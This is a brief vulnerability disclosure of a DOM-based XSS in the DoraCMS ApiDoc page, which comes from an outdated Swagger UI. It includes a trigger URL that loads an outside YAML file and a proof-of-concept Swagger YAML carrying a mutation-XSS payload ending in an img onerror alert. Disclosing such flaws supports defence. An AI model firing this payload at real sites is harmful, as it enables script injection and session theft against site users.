Doracms v2.1.8 and later ApiDoc Dom-based XSS

[Lq0ne]

Doracms uses outdated version of swagger to build apidoc, which contains a known Dom-based XSS vulnerability.
You can just add this parameter to the URL to test your site.
https://[HOST]/static/apidoc/index.html?url=https://jumpy-floor.surge.sh/test.yaml

POC：

swagger: '2.0'
info:
  title: Example yaml.spec
  description: |
    <math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title="</textarea><img src='#' onerror=alert('xss')>">
paths:
  /accounts:
    get:
      responses:
        '200':
          description: No response was specified
      tags:
        - accounts
      operationId: findAccounts
      summary: Finds all accounts